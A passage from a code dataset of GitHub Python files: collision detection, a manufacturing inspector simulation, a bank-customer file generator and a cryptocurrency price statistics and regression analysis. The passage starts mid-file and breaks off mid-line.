\"\"\"\n \n for obj2 in objs:\n if are_colliding(obj1, obj2):\n return True\n\n return False\n\ndef are_colliding(obj1, obj2):\n if not is_colliding_ax1(obj1, obj2):\n return False\n if not is_colliding_ax1(obj2, obj1):\n return False\n\n return True\n\ndef is_colliding_ax1(obj1: np.ndarray, obj2: np.ndarray):\n \"\"\"Detects if two objects are colliding.\n First it checks if they are definitely not colliding through AABB collision\n checking, refines the check by the separating axis theorem.\n\n Args:\n obj1 (np.ndarray): The first object.\n obj2 (np.ndarray): The second object.\n \n Returns:\n bool: True if colliding, False otherwise.\n \"\"\"\n\n if not is_colliding_AABB(obj1, obj2):\n return False\n\n for i in range(len(obj1)):\n # vertexes\n x1, y1 = obj1[i]\n x2, y2 = obj1[(i+1) % len(obj1)]\n\n # edge\n dx, dy = np.array([x2-x1, y2-y1])\n # normal (unit)\n proj_axis = np.array([-dy, dx])/np.linalg.norm([dx, dy])\n \n # project obj1 and obj2 vertices onto the normal\n proj_obj1 = np.dot(obj1, proj_axis)\n proj_obj2 = np.dot(obj2, proj_axis)\n \n # find the min and max of the projections\n p1m, p1M = np.min(proj_obj1), np.max(proj_obj1)\n p2m, p2M = np.min(proj_obj2), np.max(proj_obj2)\n\n\n # if there is no overlap, return false\n if p2m > p1M or p1m > p2M:\n return False\n return True\n\n\ndef is_colliding_AABB(obj1: np.ndarray, obj2: np.ndarray):\n \"\"\"Detects if two objects are colliding by the AABB method.\n \n Objects are represented by their vertices (anti-clockwise).\n Args:\n obj1 (np.ndarray): The first object.\n obj2 (np.ndarray): The second object.\n\n Returns:\n bool: True if colliding, False otherwise.\n\n \"\"\"\n # find the min and max of the projections\n p1m, p1M = np.min(obj1, axis=0), np.max(obj1, axis=0)\n p2m, p2M = np.min(obj2, axis=0), np.max(obj2, axis=0)\n\n # if there is no overlap, return false\n if p2m[0] > p1M[0] or p1m[0] > p2M[0]:\n return False\n if p2m[1] > p1M[1] or p1m[1] > p2M[1]:\n return False\n return True\n","repo_name":"randomze/AutonomousVehicle","sub_path":"physics/collisions.py","file_name":"collisions.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"8950784342","text":"import numpy as np\n\nfrom Workstate import Workstate\nfrom Event import event\nfrom ComponentType import ComponentType\nfrom Log import log\nfrom random import randint\nfrom Component import Component\n\n\nclass Inspector:\n # Variables for State\n state = None\n buffers = None\n component_type = None\n stuckBuffer = None\n scheduler = None\n cIndex = 0\n\n lastActive = 0\n timeBlocked = 0\n # TEMP Variables for working\n # TODO find duration based on data\n randDurations = None\n\n def __init__(self, bf, ctype, sch, randdur):\n self.buffers = bf\n self.state = Workstate.IDLE\n self.component_type = ctype\n self.scheduler = sch\n self.randDurations = randdur\n\n def get_state(self):\n return self.state\n\n # TODO Finish code for Inpector 2's handle\n def handle(self, event):\n if self.component_type == ComponentType.C1:\n # Code that Finds the smallest buffer\n smallest_buffer = self.buffers[0]\n for buffer in self.buffers:\n if buffer.get_length() < smallest_buffer.get_length():\n smallest_buffer = buffer\n\n # Checking if the buffer can have something pushed\n if smallest_buffer.isFull():\n self.stuckBuffer = smallest_buffer\n self.lastActive = event.time\n self.state = Workstate.IDLE\n else:\n smallest_buffer.add_component(Component(self.component_type, self.scheduler.time))\n self.beginWork()\n elif isinstance(self.component_type, list):\n # Only I2 Should arrive here\n if self.buffers[self.cIndex].isFull():\n self.stuckBuffer = self.buffers[self.cIndex]\n self.lastActive = event.time\n self.state = Workstate.IDLE\n else:\n self.buffers[self.cIndex].add_component(Component(self.component_type[self.cIndex], self.scheduler.time))\n self.beginWork()\n\n # Function that adds a finish event to be handled\n def beginWork(self):\n # Generate useful event ID\n if self.component_type == ComponentType.C1:\n id = \"Inspection of C1 Complete\"\n else:\n self.cIndex = randint(0, 1)\n if self.cIndex == 0:\n id = \"Inspection of C2 Comlete\"\n else:\n id = \"Inspection of C3 Complete\"\n\n temp = None\n if isinstance(self.component_type, list):\n if len(self.randDurations[self.cIndex]) > 0:\n temp = event(self, self.randDurations[self.cIndex][0] + self.scheduler.time, id)\n self.randDurations[self.cIndex] = np.delete(self.randDurations[self.cIndex], [0])\n else:\n temp = event(self, -1, id)\n else:\n if len(self.randDurations) > 0:\n temp = event(self, self.randDurations[0] + self.scheduler.time, id)\n self.randDurations = np.delete(self.randDurations, [0])\n else:\n temp = event(self, -1, id)\n self.scheduler.addEvent(temp)\n self.state = Workstate.BUSY\n\n # There exists 2 reasons for an inspector to be idle\n # 1- The inspector has yet to become busy for the first time\n # 2- The inspector is stuck on pushing out a component\n def activate(self):\n if self.stuckBuffer is not None:\n if self.stuckBuffer.isFull():\n # The Inspector is still stuck\n return\n else:\n if isinstance(self.component_type, list):\n self.stuckBuffer.add_component(Component(self.component_type[self.cIndex], self.scheduler.time))\n else:\n self.stuckBuffer.add_component(Component(self.component_type, self.scheduler.time))\n self.timeBlocked += self.scheduler.time - self.lastActive\n self.beginWork()\n else:\n self.beginWork()\n","repo_name":"JamesDesrosiers/Sysc4005Project","sub_path":"main/Inspector.py","file_name":"Inspector.py","file_ext":"py","file_size_in_byte":3986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"73903120378","text":"# Menu for selecting which user branch to use\r\n# Date v1.0 2023-03-16\r\n\r\nimport BankAccount\r\nimport random\r\nimport pickle\r\n\r\naccount = BankAccount.BankAccount\r\n\r\ndef main():\r\n create_cust_file()\r\n\r\ndef create_cust_file():\r\n while(True):\r\n try:\r\n customer_file = open('bankfile.dat', 'wb')\r\n numberOfCustomers = int(input('\\nHow many customers would you like to create?: '))\r\n\r\n if numberOfCustomers >= 10 and numberOfCustomers <= 100:\r\n for customer in range(numberOfCustomers):\r\n print(f'Creating customer #{customer+1}:')\r\n cust_name = input('Please enter the name of the customer: ')\r\n cust_id = random.randint(100000, 999999)\r\n balance = random.randint(1000, 5000)\r\n interest_rate = float(input('Please set the users interest rate: '))\r\n account = BankAccount.BankAccount(cust_name, cust_id, interest_rate, balance)\r\n pickle.dump(account, customer_file)\r\n customer_list[cust_name] = account\r\n customer_file.close()\r\n print(f'File has been created with: {numberOfCustomers} new customers.')\r\n break\r\n else:\r\n print('Please create no less than 10, and no more than 100 customers!')\r\n continue \r\n except ValueError:\r\n print('Invalid input; please try again!')\r\n continue\r\n finally: # Just incase something happens \r\n customer_file.close()\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"Jaderacing/PROG12974","sub_path":"Testing_Branch/Create_customer_file.py","file_name":"Create_customer_file.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"41499020467","text":"#!/usr/bin/env python3\n\n\"\"\"\nThis is the final and examining project of the course\nMathematical Modeling at Blekinge Institute of Technology.\n\n@date: 2022-08-29\n@student: Daniel Andersson\n@akronym: daap19\n@course: Mathematical Modeling, MA1487\n@teacher: Simon Nilsson\n\"\"\"\nimport json\nfrom datetime import datetime\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom matplotlib import pyplot as plt\nfrom scipy.stats import norm\nfrom sklearn import metrics\nfrom sklearn.linear_model import LinearRegression\n\nimport csv\n\n\ndef parse_csv_data(data_file_path, key, delimiter=','):\n \"\"\"\n Parses a csv file.\n\n :param data_file_path: Path to the csv file\n :type data_file_path: str\n :param key: Key for the parsed data\n :type key: str\n :param delimiter: Delimiter for the csv file\n :type delimiter: str\n \"\"\"\n\n # Remove 4 last letters (.csv) from path name and add '-parsed.csv'\n parsed_file_name = data_file_path[:-4] + '-parsed.csv'\n with open(data_file_path, 'r', encoding='utf-8') as in_file, open(parsed_file_name, 'w',\n encoding='utf-8') as out_file:\n parsed_header = False\n reader = csv.reader(in_file, delimiter=delimiter)\n write = csv.writer(out_file, delimiter=delimiter)\n\n for i, row in enumerate(reader):\n if len(row) > 0 and row[0] == 'SNo':\n parsed_header = True\n if parsed_header:\n write.writerow(row)\n\n parsed_data_paths[key] = parsed_file_name\n\n\ndef clean_up_csv_data(data_frame):\n \"\"\"\n Cleans up a csv file. Removes unnecessary columns.\n\n :param data_frame: Pandas DataFrame\n :type data_frame: pd.DataFrame\n\n :return: Pandas DataFrame\n :rtype: pd.DataFrame\n \"\"\"\n data_frame['Date'] = pd.to_datetime(data_frame['Date'], format='%Y-%m-%d %H:%M:%S')\n data_frame.drop(\n ['SNo', 'Symbol', 'High', 'Low', 'Open', 'Volume', 'Marketcap'],\n axis=1,\n inplace=True,\n )\n data_frame.set_index(['Date'])\n\n return data_frame\n\n\ndef clean_all_data_frames(input_data_paths):\n \"\"\"\n This function takes in a dictionary of input data paths,\n parses the data from the input files, cleans up the data, and\n creates Pandas data frames for each data set.\n\n The function returns a dictionary of output data paths.\n\n The function also creates a dictionary of Pandas data frames.\n\n :param input_data_paths: A dictionary of input data paths\n :type input_data_paths: dict\n\n :return: None\n \"\"\"\n print(\"Input data paths: \\n\", json.dumps(input_data_paths, indent=4), \"\\n\")\n\n for data in input_data_paths:\n print(f'Parsing CSV file for {data} data... ')\n parse_csv_data(input_data_paths[data], data)\n\n print(f'Read parsed CSV file for {data} data... ')\n data_frame_name = f'{data}'\n globals()[data_frame_name] = pd.read_csv(parsed_data_paths[data], delimiter=',')\n globals()[data_frame_name] = globals()[data_frame_name].rename(columns={'Close': 'Value'})\n input_data_paths[data] = globals()[data_frame_name]\n\n print(f'Cleaning up data and create a Pandas data frame for {data}... \\n')\n globals()[data_frame_name] = clean_up_csv_data(globals()[data_frame_name])\n data_frames[data] = pd.DataFrame(globals()[data_frame_name])\n\n print(f\" {len(parsed_data_paths)} parsed data paths: \\n\",\n json.dumps(parsed_data_paths, indent=4), \"\\n\")\n print('Done parsing files, cleaning up CSV data files and creating Pandas data frames. \\n')\n\n\ndef concatenate_data_frames(input_data_frames):\n \"\"\"\n The function concatenates all data frames into one and drops all rows with NaN values.\n\n :param input_data_frames: A list of data frames to be concatenated\n :type input_data_frames: dict\n\n :return A data frame with all the data from the input data frames concatenated\n into one data frame.\n :rtype pd.DataFrame\n \"\"\"\n print(\"Concatenating data frames... \\n\")\n concatenated_data_frame = pd.concat(input_data_frames, axis=1)\n\n return concatenated_data_frame\n\n\ndef plot_concatenated_data_frame(input_data_frame, show=False):\n \"\"\"\n This function takes in a data frame and plots it.\n\n :param input_data_frame: The data frame that you want to plot.\n :type input_data_frame: pd.DataFrame\n :param show: If True, the plot will be shown\n :type bool\n :type input_data_frame: pd.DataFrame\n\n :return: None\n \"\"\"\n file_path = \"plots/value_over_time/all_data_frames_concatenated.png\"\n\n if show:\n print(\"Plotting concatenated data... \\n\")\n else:\n print(f\"Plotting concatenated data and saving it to file: \\n{file_path}... \\n\")\n\n for data in input_data_frame:\n sns.lineplot(\n data=input_data_frame[data],\n x=input_data_frame[data]['Date'],\n y=input_data_frame[data]['Value'],\n dashes=False,\n lw=0.7,\n )\n\n plt.title('Value over time')\n plt.ylabel('Value in USD ($)')\n plt.legend(labels=input_data_frame.keys(), bbox_to_anchor=(1.02, 1), loc='upper left', borderaxespad=0)\n plt.subplots_adjust(right=0.75)\n plt.savefig(file_path, dpi=300)\n\n if show:\n plt.show()\n plt.close()\n\n\ndef plot_data_frames_value_over_time(input_data_frames, show=False):\n \"\"\"\n Plots the data from the Pandas data frames.\n\n :param input_data_frames: A dictionary of Pandas data frames\n :type input_data_frames: dict\n :param show: If True, the plot will be shown\n :type show: bool\n\n :return: None\n \"\"\"\n print('Staring to create line-plots for value over time data... ')\n\n for data_frame in input_data_frames:\n file_path = f\"plots/value_over_time/value_over_time_{data_frame}.png\"\n\n if show:\n print(f'Plotting value over time data for {data_frame}... ')\n else:\n print(f'Plotting value over time data for {data_frame} and saving it to file: \\n{file_path}... ')\n\n sns.lineplot(\n data=input_data_frames[data_frame],\n x='Date',\n y='Value',\n lw=0.5,\n errorbar=None,\n estimator=None,\n color='red',\n )\n plt.title(f'{data_frame}')\n plt.ylabel('Value in USD ($)')\n\n plt.savefig(file_path, dpi=300)\n\n if show:\n plt.show()\n plt.close()\n\n print('Done plotting value over time data. \\n')\n\n\ndef calculate_descriptive_statistics(input_data_frames):\n \"\"\"\n Calculates the descriptive statistics for the Pandas data frames.\n\n :param input_data_frames: A dictionary of Pandas data frames\n :type input_data_frames: dict\n\n :return: None\n \"\"\"\n statistics = {}\n\n for data_frame in input_data_frames:\n print(f'Calculating descriptive statistics for {data_frame}... ')\n\n this_df = input_data_frames[data_frame]['Value']\n\n # Create a Pandas data series with the descriptive statistics\n output_data_frame = pd.Series({'Count': int(this_df.count()),\n 'Min': this_df.min(),\n 'Max': this_df.max(),\n 'Mean': this_df.mean(),\n 'Median': this_df.median(),\n 'Std': this_df.std(),\n 'Var': this_df.var(),\n },\n index=['Count',\n 'Min',\n 'Max',\n 'Mean',\n 'Median',\n 'Std',\n 'Var']\n )\n\n # Output the descriptive statistics to a csv file\n output_data_frame.to_csv(\n f'./csv/individual_statistics/statistics_{data_frame}.csv',\n header=False\n )\n\n # Add data series to dictionary\n statistics[data_frame] = output_data_frame\n\n print('Done calculating descriptive statistics. \\n')\n\n return statistics\n\n\ndef plot_descriptive_statistics_table(input_data_frame, show=False):\n \"\"\"\n Plots the descriptive statistics table.\n\n :param input_data_frame: A Pandas data frame with the descriptive statistics.\n :type input_data_frame: pd.DataFrame.\n :param show: If True, the plot will be shown\n :type show: bool\n\n :return: None\n \"\"\"\n\n file_path = './tables/summarized_descriptive_statistics.png'\n data = input_data_frame.values\n columns = input_data_frame.columns\n rows = input_data_frame.index\n\n if show:\n print(\"Plotting descriptive statistics table... \\n\")\n else:\n print(f\"Plotting descriptive statistics table and saving it to file: \\n{file_path}\\n\")\n\n table = plt.table(\n cellText=data.round(4),\n cellLoc='left',\n colLabels=columns,\n colLoc='left',\n colColours=['Lightblue'] * len(columns),\n rowLabels=rows,\n rowLoc='left',\n rowColours=['lightyellow'] * len(rows),\n loc='center',\n )\n table.auto_set_font_size(False)\n table.set_fontsize(4)\n table.scale(1.1, 1.2)\n\n plt.axis('off')\n plt.tight_layout()\n plt.savefig(\n file_path,\n facecolor='w',\n edgecolor='w',\n format=None,\n bbox_inches=None,\n orientation='landscape',\n pad_inches=0.05,\n dpi=300\n )\n\n if show:\n plt.show()\n plt.close()\n\n\ndef plot_correlation_matrix_heatmap(input_correlation_matrix, show=False):\n \"\"\"\n This function takes in a data frame, creates a correlation matrix,\n and plots a heatmap of the correlation matrix.\n\n :param input_data_frame: The data frame that contains the data\n that you want to calculate the correlation matrix for\n :type input_data_frame: pd.DataFrame\n :param show: If True, the plot will be shown\n :type show: bool\n\n :return: Correlation matrix\n :rtype: pd.DataFrame\n \"\"\"\n file_path = './plots/heatmaps/correlation_heatmap.png'\n\n if show:\n print(\"Plotting correlation matrix heatmap... \\n\")\n else:\n print(f\"Plotting correlation matrix heatmap and saving it to file: \\n{file_path}\\n\")\n\n # Plot heatmap of correlation matrix\n correlation_heatmap = sns.heatmap(\n input_correlation_matrix,\n annot=True,\n annot_kws={'size': 5},\n cmap=\"flare\"\n )\n # Set label sizes\n correlation_heatmap.xaxis.set_tick_params(labelsize=5)\n correlation_heatmap.yaxis.set_tick_params(labelsize=5)\n\n # Set title, x and y labels\n plt.title('Korrelationsmatris', fontsize=16, pad=20)\n plt.xlabel('Valutor', fontsize=10)\n plt.ylabel('Valutor', fontsize=10)\n plt.text(1, 1, '', ha='center', va='center', fontsize=4)\n plt.xticks(rotation=75, size=6)\n plt.yticks(rotation=15, size=6)\n # plt.subplots_adjust(left=0.25, bottom=0.3)\n\n # Save figure to file\n correlation_heatmap.figure.savefig(\n file_path,\n bbox_inches='tight',\n dpi=300\n )\n\n # Show plots\n if show:\n plt.show()\n plt.close()\n\n\ndef plot_normal_distributions(input_data_frames, show=False):\n \"\"\"\n This function plots the normal distribution of each of the input data frames\n\n :param input_data_frames: A dictionary of data frames\n :type input_data_frames: dict\n :param show: If True, the plot will be shown, defaults to False (optional)\n :type show: bool, optional\n \"\"\"\n print(\"Starting to plot normal distributions...\")\n\n for data in input_data_frames:\n file_path = f'./plots/normal_distribution/normal_distribution_{data}.png'\n\n if show:\n print(f\"Plotting the normal distribution of {data}...\")\n else:\n print(f\"Plotting the normal distribution of {data} and saving it to file: \"\n f\"\\n{file_path}\")\n\n dataset = input_data_frames[data]['Value']\n\n sns.distplot(\n x=dataset,\n color='purple',\n kde=True,\n kde_kws={'color': 'darkgreen', 'linewidth': 0.6, 'label': 'Kernel Density Estimation', 'shade': True,\n 'alpha': 0.25},\n label=data,\n fit=norm,\n fit_kws={'color': 'red', 'linewidth': 1, 'label': 'Normal Distribution'}\n )\n sns.set_style('whitegrid')\n plt.axvline(dataset.mean(), color='blue', linestyle='--', linewidth=1, label='Mean Value')\n plt.title(f'{data} Normal Distribution', fontsize=20)\n plt.ylabel('Density', fontsize=10)\n plt.xlabel('Value', fontsize=10)\n plt.tight_layout()\n plt.legend()\n plt.savefig(\n file_path,\n bbox_inches='tight',\n dpi=300\n )\n\n if show:\n plt.show()\n plt.close()\n\n print(\"Done plotting normal distributions. \\n\")\n\n\ndef calculate_linear_regressions(input_data_frames):\n \"\"\"\n This function takes in a dictionary of data frames,\n and returns a dictionary of linear regression models\n\n :param input_data_frames: A dictionary of data frames\n :type input_data_frames: dict\n :param show: If True, the plot will be shown. If False, the plot will be\n saved to a file, defaults to False (optional)\n :type show: bool, optional\n \"\"\"\n print(\"Starting to calculate simple linear regressions...\")\n\n output_linear_regressions = {}\n\n for data_frame in input_data_frames:\n print(f\"Calculating simple linear regression for {data_frame}...\")\n\n # Fit the linear regression model\n x_data = input_data_frames[data_frame]['Date'].map(datetime.toordinal).values.reshape(-1, 1)\n y_data = input_data_frames[data_frame]['Value'].values.reshape(-1, 1)\n\n # Create a linear regression model\n model = LinearRegression().fit(x_data, y_data)\n\n # Get the slope and intercept of the line best fit\n slope = model.coef_[0][0]\n intercept = model.intercept_[0]\n r_squared = model.score(x_data, y_data)\n print(f\"R-squared: {r_squared}\")\n\n # Predict the y values\n y_predict = model.predict(x_data)\n\n # Calculate the linear regression model\n fx = intercept + slope * x_data\n\n # Calculate the residuals\n residuals = y_data - y_predict\n\n # Store the linear regression model in a dictionary\n output_linear_regressions[data_frame] = {\n 'x': x_data.flatten(),\n 'y': y_data.flatten(),\n 'prediction': y_predict.flatten(),\n 'fx': fx.flatten(),\n 'r_squared': r_squared,\n 'slope': slope,\n 'intercept': intercept,\n 'residuals': residuals.flatten(),\n 'mse': metrics.mean_squared_error(x_data, y_predict),\n 'mae': metrics.mean_absolute_error(x_data, y_predict),\n 'rmse': np.sqrt(metrics.mean_squared_error(x_data, y_predict)),\n }\n\n print(\"Done calculating linear regressions. \\n\")\n\n return output_linear_regressions\n\n\ndef plot_linear_regression_tables(input_data_frames, transformed=False, show=False):\n \"\"\"\n It takes a dictionary of data frames, and plots a table for each data frame\n\n :param input_data_frames: A dictionary of data frames\n :type input_data_frames: dict\n :param transformed: If True, the data frames are printed as transformed, defaults to False\n :type transformed: bool, optional\n :param show: If True, the plot will be shown. If False, the plot will be\n saved to a file, defaults to False (optional)\n :type show: bool, optional\n \"\"\"\n for data_frame in input_data_frames:\n if transformed:\n file_path = f'./tables/linear_regression_tables_transformed/linear_regression_{data_frame}_transformed.png'\n row_color = 'lightblue'\n column_color = 'lightgreen'\n else:\n file_path = f'./tables/linear_regression_tables/linear_regression_data_{data_frame}.png'\n row_color = 'lightblue'\n column_color = 'lightyellow'\n\n if show:\n print(f\"Plotting linear regression table for {data_frame}...\")\n else:\n print(f\"Plotting linear regression table for {data_frame} and saving it to file: \"\n f\"\\n{file_path}\")\n\n table_data = pd.Series({\n 'slope': input_data_frames[data_frame]['slope'],\n 'intercept': input_data_frames[data_frame]['intercept'],\n 'r_squared': input_data_frames[data_frame]['r_squared'],\n 'mse': input_data_frames[data_frame]['mse'],\n 'mae': input_data_frames[data_frame]['mae'],\n 'rmse': input_data_frames[data_frame]['rmse'],\n }, name=data_frame)\n\n sns.set_style('darkgrid')\n plot = plt.table(\n cellText=[table_data.values.round(3)],\n cellLoc='left',\n colLabels=table_data.index,\n colLoc='left',\n colColours=[column_color] * len(table_data),\n rowLabels=[table_data.name],\n rowLoc='left',\n rowColours=[row_color] * len(table_data),\n loc='center',\n )\n plot.auto_set_font_size(False)\n plot.set_fontsize(8)\n plot.scale(1, 1.25)\n\n plt.axis('off')\n plt.tight_layout()\n plt.savefig(file_path, bbox_inches='tight', dpi=300)\n\n if show:\n plt.show()\n plt.close()\n\n print(\"Done plotting linear regression tables. \\n\")\n\n\ndef plot_linear_regression_graphs(input_data_frames, show=False):\n print(\"Starting to plot linear regressions... \")\n\n for data in input_data_frames:\n file_path = f'./plots/linear_regression/linear_regression_{data}.png'\n\n if show:\n print(f\"Plotting linear regression for {data}... \")\n else:\n print(f\"Plotting linear regression for {data} and saving it to file... \\n{file_path}\")\n\n dataset = pd.DataFrame({\n 'Date': input_data_frames[data]['Date'].apply(datetime.toordinal),\n 'Value': input_data_frames[data]['Value'].values,\n })\n\n sns.set_style('whitegrid')\n sns.regplot(\n x='Date',\n y='Value',\n data=dataset,\n ci=95,\n line_kws={'color': 'red', 'lw': 0.75},\n marker='.',\n scatter_kws={'s': 5, 'alpha': 0.75},\n )\n\n # sns.regplot(\n # x='Date',\n # y='Value',\n # data=dataset,\n # ci=95,\n # line_kws={'color': 'green', 'lw': 0.75},\n # order=2,\n # scatter=False,\n # )\n\n plt.title(f'Linear regression for {data}', fontsize=16)\n plt.savefig(file_path, bbox_inches='tight', dpi=300)\n\n if show:\n plt.show()\n plt.close()\n\n print('Done calculating simple linear regressions. \\n')\n\n\ndef calculate_transformed_regressions(input_data_frames, show=False):\n print(\"Starting to calculate transformed linear regressions... \\n\")\n transformed_regression_models = {}\n\n for data in input_data_frames:\n print(f\"Calculating transformed linear regression for {data}... \")\n\n x = input_data_frames[data]['Date'].map(datetime.toordinal).values.reshape(-1, 1)\n y = input_data_frames[data]['Value'].values.reshape(-1, 1)\n constant = 10\n y_min = np.min(y)\n\n if y_min < 0:\n y_log = np.log(y - y_min + constant).reshape(-1, 1)\n else:\n y_log = np.log(y).reshape(-1, 1)\n\n observations_n = len(y_log)\n sigma = 2 # Noise factor\n noise = np.random.normal(1, observations_n) # Noise vector\n\n # Linear Model\n linear_model = LinearRegression().fit(x, y)\n r_squared_linear = linear_model.score(x, y) # R-squared to check for goodness of fit\n intercept = linear_model.intercept_[0]\n slope = linear_model.coef_[0][0]\n y_predict = linear_model.predict(x)\n residuals_linear = y - y_predict\n\n # Transformed Model\n transformed_model = LinearRegression().fit(x, y_log)\n r_squared_transformed = transformed_model.score(x, y_log) # R-squared to check for goodness of fit\n intercept_transformed = transformed_model.intercept_[0]\n slope_transformed = transformed_model.coef_[0][0]\n y_predict_log = transformed_model.predict(x)\n\n # Calculate residuals\n residulas_transformed = y_log - y_predict_log\n\n # Equation of the transformed regression line\n fx_transformed = intercept_transformed + slope_transformed * x\n\n transformed_regression_models[data] = {\n 'x': x,\n 'y': y_log,\n 'fx': fx_transformed,\n 'prediction': y_predict_log,\n 'intercept': intercept_transformed, # Intercept = a\n 'slope': slope_transformed, # Slope = b\n 'r_squared': r_squared_transformed,\n 'residuals': residulas_transformed,\n 'mse': metrics.mean_squared_error(y_log, y_predict_log),\n 'mae': metrics.mean_absolute_error(y_log, y_predict_log),\n 'rmse': np.sqrt(metrics.mean_squared_error(y_log, y_predict_log)),\n }\n\n dataset_linear = pd.DataFrame({\n 'Date': x.flatten(),\n 'Value': y.flatten(),\n })\n\n dataset_transformed = pd.DataFrame({\n 'Date': x.flatten(),\n 'Value': y_log.flatten(),\n })\n\n sns.regplot(\n x='Date',\n y='Value',\n data=dataset_linear,\n ci=95,\n # order=sigma,\n line_kws={'color': 'red', 'lw': 0.75},\n scatter=True,\n scatter_kws={'s': 10, 'alpha': 0.7},\n marker='.',\n )\n\n sns.regplot(\n x='Date',\n y='Value',\n data=dataset_transformed,\n ci=95,\n order=sigma,\n scatter=True,\n scatter_kws={'s': 5, 'alpha': 0.7, 'color': 'green'},\n marker='.',\n line_kws={'color': 'orange', 'lw': 0.75},\n )\n\n plt.title(f'Linear regression for {data}', fontsize=16)\n plt.savefig(f'./plots/linear_regression_transformed/transformed_regression_{data}.png', bbox_inches='tight',\n dpi=300)\n\n if show:\n plt.show()\n plt.close()\n\n print(f\"Done calculating transformed linear regression for {data}... \")\n\n print(f\"Done calculating transformed linear regression... \\n\")\n\n return transformed_regression_models\n\n\ndef plot_transformed_regression_graphs(input_data_frames, show=False):\n print(\"Starting to plot transformed linear regressions... \")\n\n for data in input_data_frames:\n file_path = f'./plots/linear_regression_transformed/linear_regression_transformed_{data}.png'\n\n if show:\n print(f\"Plotting transformed linear regression for {data}... \")\n else:\n print(f\"Plotting transformed linear regression for {data} and saving it to file... \"\n f\"\\n.{file_path}\")\n\n dataset = pd.DataFrame({\n 'Date': input_data_frames[data]['y'].flatten(),\n 'Value': input_data_frames[data]['x'].flatten(),\n })\n\n sns.set_style('whitegrid')\n sns.regplot(\n x='Date',\n y='Value',\n data=dataset,\n ci=95,\n line_kws={'color': 'red', 'lw': 0.75},\n marker='.',\n scatter_kws={'s': 5, 'alpha': 0.75},\n )\n\n plt.title(f'Linear regression for {data}', fontsize=16)\n plt.savefig(file_path, bbox_inches='tight', dpi=300)\n\n if show:\n plt.show()\n plt.close()\n\n\ndef plot_residuals(input_data_frames, input_transformed_data_frames, show=False):\n print(\"Starting to plot residuals... \")\n\n for data in input_data_frames:\n file_path = f'./plots/residuals/residuals_{data}.png'\n\n if show:\n print(f\"Plotting residuals for {data}... \")\n else:\n print(f\"Plotting residuals for {data} and saving it to file... \"\n f\"\\n.{file_path}\")\n\n dataset_linear = pd.DataFrame({\n 'Date': input_data_frames[data]['x'].flatten(),\n 'Value': input_data_frames[data]['residuals'].flatten(),\n })\n\n dataset_transformed = pd.DataFrame({\n 'Date': input_transformed_data_frames[data]['x'].flatten(),\n 'Value': input_transformed_data_frames[data]['residuals'].flatten(),\n })\n\n sns.set_style('whitegrid')\n sns.residplot(\n data=dataset_linear,\n x='Date',\n y='Value',\n scatter_kws={'s': 5, 'alpha': 0.75, 'color': 'green'},\n )\n\n sns.residplot(\n data=dataset_transformed,\n x='Date',\n y='Value',\n scatter_kws={'s': 5, 'alpha': 0.75, 'color': 'red'},\n line_kws={'color': 'blue', 'lw': 1, 'alpha': 0.75, 'linestyle': '--'},\n )\n\n plt.title(f'Residuals for {data}', fontsize=16)\n plt.savefig(file_path, bbox_inches='tight', dpi=300)\n\n if show:\n plt.show()\n plt.close()\n\n\ndef plot_residual_normal_distributions(input_data_frames, show=False):\n \"\"\"\n This function plots the normal distribution of each of the input data frames\n\n :param input_data_frames: A dictionary of data frames\n :type input_data_frames: dict\n :param show: If True, the plot will be shown, defaults to False (optional)\n :type show: bool, optional\n \"\"\"\n print(\"Starting to plot normal distributions...\")\n\n for data in input_data_frames:\n file_path = f'./plots/normal_distribution_transformed/transformed_normal_distribution_{data}.png'\n\n if show:\n print(f\"Plotting the normal distribution of transformed {data}...\")\n else:\n print(f\"Plotting the normal distribution of transformed {data} and saving it to file: \"\n f\"\\n{file_path}\")\n\n dataset = input_data_frames[data]['residuals']\n\n sns.distplot(\n x=dataset,\n color='purple',\n kde=True,\n kde_kws={'color': 'darkgreen', 'linewidth': 0.6, 'label': 'Kernel Density Estimation', 'shade': True,\n 'alpha': 0.25},\n label=data,\n fit=norm,\n fit_kws={'color': 'red', 'linewidth': 1, 'label': 'Normal Distribution'}\n )\n sns.set_style('whitegrid')\n plt.axvline(dataset.mean(), color='blue', linestyle='--', linewidth=1, label='Mean Value')\n plt.title(f'{data} Normal Distribution', fontsize=20)\n plt.ylabel('Density', fontsize=10)\n plt.xlabel('Value', fontsize=10)\n plt.tight_layout()\n plt.legend()\n plt.savefig(\n file_path,\n bbox_inches='tight',\n dpi=300\n )\n\n if show:\n plt.show()\n plt.close()\n\n print(\"Done plotting normal distributions. \\n\")\n\n\n# Paths for the csv files containing the data\ndata_paths = {\n 'Bitcoin': './csv/coin_Bitcoin.csv',\n 'Cardano': './csv/coin_Cardano.csv',\n 'ChainLink': './csv/coin_ChainLink.csv',\n 'Cosmos': './csv/coin_Cosmos.csv',\n 'Dogecoin': './csv/coin_Dogecoin.csv',\n 'Ethereum': './csv/coin_Ethereum.csv',\n 'Litecoin': './csv/coin_Litecoin.csv',\n 'Monero': './csv/coin_Monero.csv',\n 'Polkadot': './csv/coin_Polkadot.csv',\n 'Solana': './csv/coin_Solana.csv',\n 'Stellar': './csv/coin_Stellar.csv',\n 'Tether': './csv/coin_Tether.csv',\n 'Uniswap': './csv/coin_Uniswap.csv',\n 'USDCoin': './csv/coin_USDCoin.csv',\n 'XRP': './csv/coin_XRP.csv',\n}\n\n# Declare dictionaries to hold data frames\nparsed_data_paths = {} # Dictionary for parsed data paths\ndata_frames = {} # Dictionary for Pandas data frames\n\n# Execution of calculations\nclean_all_data_frames(data_paths)\nconcat_data_frame = concatenate_data_frames(data_frames)\ncorrelation_matrix = concat_data_frame.corr()\ndescriptive_statistics = calculate_descriptive_statistics(data_frames)\ndescriptive_statistics_table = concatenate_data_frames(descriptive_statistics)\nlinear_regressions = calculate_linear_regressions(data_frames)\ntransformed_regressions = calculate_transformed_regressions(data_frames)\n\n# Plot data functions\nprint(\"Starting to plot 